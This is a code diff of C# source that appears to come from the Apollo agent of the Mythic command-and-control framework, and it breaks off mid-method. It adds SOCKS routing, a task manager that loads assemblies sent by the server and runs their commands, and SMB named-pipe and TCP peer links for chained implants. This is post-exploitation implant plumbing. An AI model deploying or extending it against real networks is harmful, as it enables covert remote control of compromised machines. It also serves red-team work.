||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
using AI = ApolloInterop;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Collections.Concurrent;
|
||||
|
||||
namespace Apollo.Management.Socks
|
||||
{
|
||||
public class SocksManager : AI.Classes.SocksManager
|
||||
{
|
||||
private ConcurrentDictionary<int, SocksClient> _connections = new ConcurrentDictionary<int, SocksClient>();
|
||||
|
||||
public SocksManager(IAgent agent) : base(agent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override bool Route(SocksDatagram dg)
|
||||
{
|
||||
if (!_connections.ContainsKey(dg.ServerID))
|
||||
{
|
||||
if (!dg.Exit)
|
||||
{
|
||||
SocksClient c = new SocksClient(_agent, dg.ServerID);
|
||||
_connections.AddOrUpdate(c.ID, c, (int i, SocksClient d) => { return d; });
|
||||
} else { return dg.Exit; }
|
||||
}
|
||||
if (dg.Exit)
|
||||
{
|
||||
_connections[dg.ServerID].Exit();
|
||||
return dg.Exit;
|
||||
}
|
||||
return _connections[dg.ServerID].HandleDatagram(dg);
|
||||
}
|
||||
|
||||
public override bool Remove(int id)
|
||||
{
|
||||
_connections[id].Exit();
|
||||
return _connections.TryRemove(id, out SocksClient _);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,322 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Collections.Concurrent;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Types.Delegates;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Classes;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Reflection;
|
||||
using ApolloInterop.Classes.Collections;
|
||||
using ApolloInterop.Utils;
|
||||
|
||||
namespace Apollo.Management.Tasks
|
||||
{
|
||||
public class TaskManager : ITaskManager
|
||||
{
|
||||
protected IAgent _agent;
|
||||
|
||||
private ThreadSafeList<MythicTaskResponse> TaskResponseList = new();
|
||||
private ThreadSafeList<DelegateMessage> DelegateMessages = new();
|
||||
//private ConcurrentQueue<DelegateMessage> DelegateMessages = new ConcurrentQueue<DelegateMessage>();
|
||||
|
||||
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> SocksDatagramQueue = new()
|
||||
{
|
||||
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
|
||||
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
|
||||
};
|
||||
private Dictionary<MessageDirection, ConcurrentQueue<SocksDatagram>> RpfwdDatagramQueue = new()
|
||||
{
|
||||
{ MessageDirection.ToMythic, new ConcurrentQueue<SocksDatagram>() },
|
||||
{ MessageDirection.FromMythic, new ConcurrentQueue<SocksDatagram>() }
|
||||
};
|
||||
|
||||
private ConcurrentDictionary<string, Tasking> _runningTasks = new();
|
||||
|
||||
private ConcurrentDictionary<string, Type> _loadedTaskTypes = new();
|
||||
|
||||
private ConcurrentQueue<MythicTask> TaskQueue = new();
|
||||
private ConcurrentQueue<MythicTaskStatus> TaskStatusQueue = new();
|
||||
private Action _taskConsumerAction;
|
||||
private Task _mainworker;
|
||||
private Assembly _tasksAsm = null;
|
||||
|
||||
public TaskManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
InitializeTaskLibrary();
|
||||
_taskConsumerAction = () =>
|
||||
{
|
||||
while(_agent.IsAlive())
|
||||
{
|
||||
if (TaskQueue.TryDequeue(out MythicTask result))
|
||||
{
|
||||
if (!_loadedTaskTypes.ContainsKey(result.Command))
|
||||
{
|
||||
AddTaskResponseToQueue(new MythicTaskResponse()
|
||||
{
|
||||
UserOutput = $"Task '{result.Command}' not loaded.",
|
||||
TaskID = result.ID,
|
||||
Completed = true,
|
||||
Status = "error"
|
||||
});
|
||||
}
|
||||
else
|
||||
{
|
||||
try
|
||||
{
|
||||
Tasking t = (Tasking) Activator.CreateInstance(
|
||||
_loadedTaskTypes[result.Command],
|
||||
new object[] {_agent, result});
|
||||
var taskObj = t.CreateTasking();
|
||||
// When the task finishes, we remove it from the queue.
|
||||
taskObj.ContinueWith((_) => { _runningTasks.TryRemove(t.ID(), out Tasking _); });
|
||||
// Unhandled exception occurred in task, report it.
|
||||
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
|
||||
System.Threading.Tasks.TaskContinuationOptions.OnlyOnFaulted);
|
||||
// If it got cancelled and threw an exception of that type,
|
||||
// report it.
|
||||
taskObj.ContinueWith((_) => { OnTaskErrorOrCancel(t, taskObj); },
|
||||
System.Threading.Tasks.TaskContinuationOptions.OnlyOnCanceled);
|
||||
_runningTasks.TryAdd(t.ID(), t);
|
||||
taskObj.Start();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
AddTaskResponseToQueue(new MythicTaskResponse()
|
||||
{
|
||||
UserOutput = $"Unexpected error during create and execute: {ex.Message}\n{ex.StackTrace}",
|
||||
TaskID = result.ID,
|
||||
Completed = true,
|
||||
Status = "error"
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
}
|
||||
};
|
||||
_mainworker = new Task(_taskConsumerAction);
|
||||
_mainworker.Start();
|
||||
}
|
||||
|
||||
private void InitializeTaskLibrary()
|
||||
{
|
||||
// Annoying note - if there's an assembly in the Tasks DLL that isn't in the Apollo
|
||||
// reference assemblies, then you'll run into loading errors.
|
||||
_tasksAsm = Assembly.Load("Tasks, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null");
|
||||
if (_tasksAsm == null)
|
||||
{
|
||||
throw new Exception("Could not find loaded tasks assembly.");
|
||||
}
|
||||
foreach(Type t in _tasksAsm.GetTypes())
|
||||
{
|
||||
if (t.FullName.StartsWith("Tasks.") &&
|
||||
t.IsPublic &&
|
||||
t.IsClass &&
|
||||
t.IsVisible)
|
||||
{
|
||||
string commandName = t.FullName.Split('.')[1];
|
||||
_loadedTaskTypes[commandName] = t;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public bool LoadTaskModule(byte[] taskAsm, string[] commands)
|
||||
{
|
||||
bool bRet = false;
|
||||
|
||||
Assembly taskingAsm = Assembly.Load(taskAsm);
|
||||
Dictionary<string, Type> foundCmds = new Dictionary<string, Type>();
|
||||
foreach(Type t in taskingAsm.GetExportedTypes())
|
||||
{
|
||||
if (commands.Contains(t.Name))
|
||||
{
|
||||
foundCmds[t.Name] = t;
|
||||
}
|
||||
}
|
||||
if (foundCmds.Keys.Count != commands.Length)
|
||||
{
|
||||
bRet = false;
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach(string k in foundCmds.Keys)
|
||||
{
|
||||
_loadedTaskTypes[k] = foundCmds[k];
|
||||
}
|
||||
bRet = true;
|
||||
}
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
private void OnTaskErrorOrCancel(Tasking t, System.Threading.Tasks.Task taskObj)
|
||||
{
|
||||
string aggregateError = "";
|
||||
if (taskObj.Exception != null)
|
||||
{
|
||||
foreach (Exception e in taskObj.Exception.InnerExceptions)
|
||||
{
|
||||
aggregateError += $"Unhandled exception: {e}\n\n";
|
||||
}
|
||||
} else if (taskObj.IsCanceled)
|
||||
{
|
||||
aggregateError = "Task cancelled.";
|
||||
}
|
||||
else
|
||||
{
|
||||
aggregateError = "Unhandled and unknown error occured.";
|
||||
}
|
||||
var msg = t.CreateTaskResponse(aggregateError, true, "error");
|
||||
AddTaskResponseToQueue(msg);
|
||||
}
|
||||
|
||||
public void AddTaskResponseToQueue(MythicTaskResponse message)
|
||||
{
|
||||
TaskResponseList.Add(message);
|
||||
}
|
||||
|
||||
public void AddDelegateMessageToQueue(DelegateMessage delegateMessage)
|
||||
{
|
||||
DelegateMessages.Add(delegateMessage);
|
||||
}
|
||||
|
||||
public void AddSocksDatagramToQueue(MessageDirection direction, SocksDatagram dg)
|
||||
{
|
||||
SocksDatagramQueue[direction].Enqueue(dg);
|
||||
}
|
||||
public void AddRpfwdDatagramToQueue(MessageDirection direction, SocksDatagram dg)
|
||||
{
|
||||
RpfwdDatagramQueue[direction].Enqueue(dg);
|
||||
}
|
||||
|
||||
|
||||
public bool ProcessMessageResponse(MessageResponse resp)
|
||||
{
|
||||
if (resp.SocksDatagrams != null)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
foreach(SocksDatagram dg in resp.SocksDatagrams)
|
||||
{
|
||||
_agent.GetSocksManager().Route(dg);
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
if (resp.RpfwdDatagrams != null)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
foreach (SocksDatagram dg in resp.RpfwdDatagrams)
|
||||
{
|
||||
_agent.GetRpfwdManager().Route(dg);
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
|
||||
if (resp.Tasks != null && resp.Tasks.Length > 0)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
foreach(MythicTask t in resp.Tasks)
|
||||
{
|
||||
TaskQueue.Enqueue(t);
|
||||
}
|
||||
}).Start();
|
||||
}
|
||||
if (resp.Responses != null && resp.Responses.Length > 0)
|
||||
{
|
||||
foreach(MythicTaskStatus t in resp.Responses)
|
||||
{
|
||||
if (_agent.GetFileManager().GetPendingTransfers().Contains(t.ApolloTrackerUUID))
|
||||
{
|
||||
_agent.GetFileManager().ProcessResponse(t);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (resp.Delegates != null && resp.Delegates.Length > 0)
|
||||
{
|
||||
foreach(DelegateMessage d in resp.Delegates)
|
||||
{
|
||||
_agent.GetPeerManager().Route(d);
|
||||
}
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
public bool CreateTaskingMessage(OnResponse<TaskingMessage> onResponse)
|
||||
{
|
||||
// We should pop messages from the task manager and stuff them into
|
||||
// this message here.
|
||||
|
||||
//List<TaskResponse> responses = new List<TaskResponse>();
|
||||
//List<DelegateMessage> delegates = new List<DelegateMessage>();
|
||||
List<SocksDatagram> dgs = new List<SocksDatagram>();
|
||||
List<SocksDatagram> rpfwdDgs = new List<SocksDatagram>();
|
||||
List<EdgeNode> edgs = new List<EdgeNode>();
|
||||
//while(TaskResponseQueue.TryDequeue(out TaskResponse res))
|
||||
//{
|
||||
// responses.Add(res);
|
||||
//}
|
||||
|
||||
//while(DelegateMessages.TryDequeue(out var res))
|
||||
//{
|
||||
// delegates.Add(res);
|
||||
//}
|
||||
|
||||
while(SocksDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
|
||||
{
|
||||
dgs.Add(dg);
|
||||
}
|
||||
while (RpfwdDatagramQueue[MessageDirection.ToMythic].TryDequeue(out var dg))
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"got rpfwd datagram to go to mythic: {dg.ServerID}");
|
||||
rpfwdDgs.Add(dg);
|
||||
}
|
||||
|
||||
TaskingMessage msg = new TaskingMessage()
|
||||
{
|
||||
Action = MessageAction.GetTasking.ToString(),
|
||||
TaskingSize = -1,
|
||||
Delegates = DelegateMessages.Flush(),
|
||||
Responses = TaskResponseList.Flush(),
|
||||
Socks = dgs.ToArray(),
|
||||
Rpfwd = rpfwdDgs.ToArray(),
|
||||
Edges = edgs.ToArray()
|
||||
};
|
||||
return onResponse(msg);
|
||||
}
|
||||
|
||||
public string[] GetExecutingTaskIds()
|
||||
{
|
||||
return _runningTasks.Keys.ToArray();
|
||||
}
|
||||
|
||||
public bool CancelTask(string taskId)
|
||||
{
|
||||
if (_runningTasks.TryGetValue(taskId, out Tasking t))
|
||||
{
|
||||
try
|
||||
{
|
||||
t.Kill();
|
||||
return true;
|
||||
} catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
} else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,253 @@
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
using System.IO.Pipes;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using AI = ApolloInterop;
|
||||
using AS = ApolloInterop.Structs.ApolloStructs;
|
||||
using TTasks = System.Threading.Tasks;
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using ApolloInterop.Constants;
|
||||
|
||||
namespace Apollo.Peers.SMB
|
||||
{
|
||||
public class SMBPeer : AI.Classes.P2P.Peer
|
||||
{
|
||||
private AsyncNamedPipeClient _pipeClient = null;
|
||||
private PipeStream _pipe = null;
|
||||
private Action<object> _sendAction;
|
||||
private TTasks.Task _sendTask;
|
||||
private UInt32 _currentMessageSize = 0;
|
||||
private UInt32 _currentMessageChunkNum = 0;
|
||||
private UInt32 _currentMessageTotalChunks = 0;
|
||||
private bool _currentMessageReadAllMetadata = false;
|
||||
private string _currentMessageID = Guid.NewGuid().ToString();
|
||||
private Byte[] _partialData = [];
|
||||
private int chunkSize = IPC.SEND_SIZE;
|
||||
|
||||
public SMBPeer(IAgent agent, PeerInformation info) : base(agent, info)
|
||||
{
|
||||
C2ProfileName = "smb";
|
||||
_pipeClient = new AsyncNamedPipeClient(info.Hostname, info.C2Profile.Parameters.PipeName);
|
||||
_pipeClient.ConnectionEstablished += OnConnect;
|
||||
_pipeClient.MessageReceived += OnMessageReceived;
|
||||
_pipeClient.Disconnect += OnDisconnect;
|
||||
_sendAction = (object p) =>
|
||||
{
|
||||
PipeStream ps = (PipeStream)p;
|
||||
while (ps.IsConnected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
// Check queue before waiting to avoid race condition
|
||||
if (_senderQueue.IsEmpty)
|
||||
{
|
||||
_senderEvent.WaitOne();
|
||||
}
|
||||
|
||||
while (!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && ps.IsConnected)
|
||||
{
|
||||
if (!_cts.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result))
|
||||
{
|
||||
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
|
||||
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
|
||||
byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
|
||||
Array.Reverse(totalChunkBytes);
|
||||
for (UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
|
||||
{
|
||||
byte[] chunkData;
|
||||
if ((currentChunk + 1) * chunkSize > result.Length)
|
||||
{
|
||||
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
|
||||
}
|
||||
else
|
||||
{
|
||||
chunkData = new byte[chunkSize];
|
||||
}
|
||||
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
|
||||
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
|
||||
Array.Reverse(sizeBytes);
|
||||
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
|
||||
Array.Reverse(currentChunkBytes);
|
||||
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
|
||||
ps.BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
|
||||
ps.BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
|
||||
ps.BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
|
||||
ps.BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
|
||||
}
|
||||
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
|
||||
//ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
public void OnAsyncMessageSent(IAsyncResult result)
|
||||
{
|
||||
PipeStream pipe = (PipeStream)result.AsyncState;
|
||||
// Potentially delete this since theoretically the sender Task does everything
|
||||
if (pipe.IsConnected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
try {
|
||||
pipe.EndWrite(result);
|
||||
}catch(Exception ex){
|
||||
DebugHelp.DebugWriteLine($"failed to write to pipe: {ex}");
|
||||
_cts.Cancel();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Connected()
|
||||
{
|
||||
return _pipe.IsConnected;
|
||||
}
|
||||
|
||||
public override bool Finished()
|
||||
{
|
||||
return _previouslyConnected && !_pipe.IsConnected;
|
||||
}
|
||||
|
||||
public void OnConnect(object sender, NamedPipeMessageArgs args)
|
||||
{
|
||||
_pipe = args.Pipe;
|
||||
OnConnectionEstablished(sender, args);
|
||||
_sendTask = new TTasks.Task(_sendAction, args.Pipe);
|
||||
_sendTask.Start();
|
||||
_previouslyConnected = true;
|
||||
}
|
||||
|
||||
public void OnDisconnect(object sender, NamedPipeMessageArgs args)
|
||||
{
|
||||
_cts.Cancel();
|
||||
args.Pipe.Close();
|
||||
_senderEvent.Set();
|
||||
if(_sendTask != null){
|
||||
_sendTask.Wait();
|
||||
}
|
||||
base.OnDisconnect(this, args);
|
||||
}
|
||||
|
||||
public void OnMessageReceived(object sender, NamedPipeMessageArgs args)
|
||||
{
|
||||
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
|
||||
while (sData.Length > 0)
|
||||
{
|
||||
if (_currentMessageSize == 0)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes);
|
||||
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (_currentMessageTotalChunks == 0)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes);
|
||||
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
|
||||
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
|
||||
_currentMessageReadAllMetadata = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
// try to read up to the remaining number of bytes
|
||||
if (_partialData.Length + sData.Length > _currentMessageSize)
|
||||
{
|
||||
// we potentially have this message and the next data in the pipeline
|
||||
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
|
||||
_partialData = [.. _partialData, .. nextData];
|
||||
sData = sData.Skip(nextData.Length).ToArray();
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
// we don't enough enough data to max out the current message size, so take it all
|
||||
_partialData = [.. _partialData, .. sData];
|
||||
sData = sData.Skip(sData.Length).ToArray();
|
||||
}
|
||||
if (_partialData.Length == _currentMessageSize)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
|
||||
UnwrapMessage();
|
||||
_currentMessageSize = 0;
|
||||
_currentMessageChunkNum = 0;
|
||||
_currentMessageTotalChunks = 0;
|
||||
_currentMessageReadAllMetadata = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void UnwrapMessage()
|
||||
{
|
||||
AS.IPCChunkedData chunkedData = new(id: _currentMessageID, chunkNum: (int)_currentMessageChunkNum, totalChunks: (int)_currentMessageTotalChunks, data: _partialData.Take(_partialData.Length).ToArray());
|
||||
_partialData = [];
|
||||
lock (_messageOrganizer)
|
||||
{
|
||||
if (!_messageOrganizer.ContainsKey(chunkedData.ID))
|
||||
{
|
||||
_messageOrganizer[chunkedData.ID] = new ChunkedMessageStore<AS.IPCChunkedData>();
|
||||
_messageOrganizer[chunkedData.ID].MessageComplete += DeserializeToReceiver;
|
||||
}
|
||||
}
|
||||
_messageOrganizer[chunkedData.ID].AddMessage(chunkedData);
|
||||
if (_currentMessageChunkNum == _currentMessageTotalChunks)
|
||||
{
|
||||
_currentMessageID = Guid.NewGuid().ToString();
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Start()
|
||||
{
|
||||
return _pipeClient.Connect(5000);
|
||||
}
|
||||
|
||||
public override void Stop()
|
||||
{
|
||||
if(_pipe != null){
|
||||
_pipe.Close();
|
||||
}
|
||||
if(_sendTask != null){
|
||||
_sendTask.Wait();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,247 @@
|
||||
using ApolloInterop.Classes;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using AI = ApolloInterop;
|
||||
using AS = ApolloInterop.Structs.ApolloStructs;
|
||||
using TTasks = System.Threading.Tasks;
|
||||
using System.Net.Sockets;
|
||||
using ApolloInterop.Classes.Api;
|
||||
using ApolloInterop.Classes.Core;
|
||||
using System.Xml.Linq;
|
||||
using ApolloInterop.Utils;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System.Net;
|
||||
|
||||
namespace Apollo.Peers.TCP
|
||||
{
|
||||
public class TCPPeer : AI.Classes.P2P.Peer
|
||||
{
|
||||
private AsyncTcpClient _tcpClient = null;
|
||||
private Action<object> _sendAction;
|
||||
private TTasks.Task _sendTask;
|
||||
private bool _connected = false;
|
||||
private int chunkSize = AI.Constants.IPC.SEND_SIZE;
|
||||
private UInt32 _currentMessageSize = 0;
|
||||
private UInt32 _currentMessageChunkNum = 0;
|
||||
private UInt32 _currentMessageTotalChunks = 0;
|
||||
private bool _currentMessageReadAllMetadata = false;
|
||||
private string _currentMessageID = Guid.NewGuid().ToString();
|
||||
private Byte[] _partialData = [];
|
||||
//private IntPtr _socketHandle = IntPtr.Zero;
|
||||
private Socket _client;
|
||||
private delegate void CloseHandle(IntPtr handle);
|
||||
//private CloseHandle _pCloseHandle;
|
||||
|
||||
public TCPPeer(IAgent agent, PeerInformation info) : base(agent, info)
|
||||
{
|
||||
C2ProfileName = "tcp";
|
||||
_tcpClient = new AsyncTcpClient(info.Hostname, info.C2Profile.Parameters.Port);
|
||||
_tcpClient.ConnectionEstablished += OnConnect;
|
||||
_tcpClient.MessageReceived += OnMessageReceived;
|
||||
_tcpClient.Disconnect += OnDisconnect;
|
||||
//_pCloseHandle = _agent.GetApi().GetLibraryFunction<CloseHandle>(Library.KERNEL32, "CloseHandle");
|
||||
_sendAction = (object p) =>
|
||||
{
|
||||
TcpClient c = (TcpClient)p;
|
||||
while (c.Connected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
// Check queue before waiting to avoid race condition
|
||||
if (_senderQueue.IsEmpty)
|
||||
{
|
||||
_senderEvent.WaitOne();
|
||||
}
|
||||
while(!_senderQueue.IsEmpty && !_cts.IsCancellationRequested && c.Connected)
|
||||
{
|
||||
if (!_cts.IsCancellationRequested && c.Connected && _senderQueue.TryDequeue(out byte[] result))
|
||||
{
|
||||
UInt32 totalChunksToSend = (UInt32)(result.Length / chunkSize) + 1;
|
||||
DebugHelp.DebugWriteLine($"have {totalChunksToSend} chunks to send out");
|
||||
byte[] totalChunkBytes = BitConverter.GetBytes(totalChunksToSend);
|
||||
Array.Reverse(totalChunkBytes);
|
||||
for(UInt32 currentChunk = 0; currentChunk < totalChunksToSend; currentChunk++)
|
||||
{
|
||||
byte[] chunkData;
|
||||
if ( (currentChunk + 1) * chunkSize > result.Length)
|
||||
{
|
||||
chunkData = new byte[result.Length - (currentChunk * chunkSize)];
|
||||
} else
|
||||
{
|
||||
chunkData = new byte[chunkSize];
|
||||
}
|
||||
Array.Copy(result, currentChunk * chunkSize, chunkData, 0, chunkData.Length);
|
||||
byte[] sizeBytes = BitConverter.GetBytes((UInt32)chunkData.Length + 8);
|
||||
Array.Reverse(sizeBytes);
|
||||
byte[] currentChunkBytes = BitConverter.GetBytes(currentChunk);
|
||||
Array.Reverse(currentChunkBytes);
|
||||
DebugHelp.DebugWriteLine($"sending chunk {currentChunk}/{totalChunksToSend} with size {chunkData.Length + 8}");
|
||||
c.GetStream().BeginWrite(sizeBytes, 0, sizeBytes.Length, OnAsyncMessageSent, p);
|
||||
c.GetStream().BeginWrite(totalChunkBytes, 0, totalChunkBytes.Length, OnAsyncMessageSent, p);
|
||||
c.GetStream().BeginWrite(currentChunkBytes, 0, currentChunkBytes.Length, OnAsyncMessageSent, p);
|
||||
c.GetStream().BeginWrite(chunkData, 0, chunkData.Length, OnAsyncMessageSent, p);
|
||||
}
|
||||
DebugHelp.DebugWriteLine($"finished sending data from _senderQueue");
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
public void OnAsyncMessageSent(IAsyncResult result)
|
||||
{
|
||||
TcpClient client = (TcpClient)result.AsyncState;
|
||||
if (client.Connected && !_cts.IsCancellationRequested)
|
||||
{
|
||||
client.GetStream().EndWrite(result);
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Connected()
|
||||
{
|
||||
return _connected;
|
||||
}
|
||||
|
||||
public override bool Finished()
|
||||
{
|
||||
return _previouslyConnected && !_connected;
|
||||
}
|
||||
|
||||
public void OnConnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
args.State = this;
|
||||
OnConnectionEstablished(sender, args);
|
||||
_sendTask = new TTasks.Task(_sendAction, args.Client);
|
||||
_sendTask.Start();
|
||||
_connected = true;
|
||||
_previouslyConnected = true;
|
||||
_client = args.Client.Client;
|
||||
}
|
||||
|
||||
public void OnDisconnect(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
_cts.Cancel();
|
||||
args.Client.Close();
|
||||
_senderEvent.Set();
|
||||
if(_sendTask != null){
|
||||
_sendTask.Wait();
|
||||
}
|
||||
_connected = false;
|
||||
base.OnDisconnect(this, args);
|
||||
}
|
||||
|
||||
public void OnMessageReceived(object sender, TcpMessageEventArgs args)
|
||||
{
|
||||
Byte[] sData = args.Data.Data.Take(args.Data.DataLength).ToArray();
|
||||
while (sData.Length > 0)
|
||||
{
|
||||
if (_currentMessageSize == 0)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
} else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
|
||||
_currentMessageSize = BitConverter.ToUInt32(messageSizeBytes, 0) - 8;
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (_currentMessageTotalChunks == 0)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
|
||||
_currentMessageTotalChunks = BitConverter.ToUInt32(messageSizeBytes, 0);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if(_currentMessageChunkNum == 0 && !_currentMessageReadAllMetadata)
|
||||
{
|
||||
// This means we're looking at the start of a new message
|
||||
if (sData.Length < 4)
|
||||
{
|
||||
// we didn't even get enough for a size
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
Byte[] messageSizeBytes = sData.Take(4).ToArray();
|
||||
sData = sData.Skip(4).ToArray();
|
||||
Array.Reverse(messageSizeBytes); // reverse the bytes so they're in big endian?
|
||||
_currentMessageChunkNum = BitConverter.ToUInt32(messageSizeBytes, 0) + 1;
|
||||
_currentMessageReadAllMetadata = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
// try to read up to the remaining number of bytes
|
||||
if (_partialData.Length + sData.Length > _currentMessageSize)
|
||||
{
|
||||
// we potentially have this message and the next data in the pipeline
|
||||
byte[] nextData = sData.Take((int)_currentMessageSize - _partialData.Length).ToArray();
|
||||
_partialData = [.. _partialData, .. nextData];
|
||||
sData = sData.Skip(nextData.Length).ToArray();
|
||||
|
||||
} else
|
||||
{
|
||||
// we don't enough enough data to max out the current message size, so take it all
|
||||
_partialData = [.. _partialData, .. sData];
|
||||
sData = sData.Skip(sData.Length).ToArray();
|
||||
}
|
||||
if (_partialData.Length == _currentMessageSize)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"got chunk {_currentMessageChunkNum}/{_currentMessageTotalChunks} with size {_currentMessageSize + 8}");
|
||||
UnwrapMessage();
|
||||
_currentMessageSize = 0;
|
||||
_currentMessageChunkNum = 0;
|
||||
_currentMessageTotalChunks = 0;
|
||||
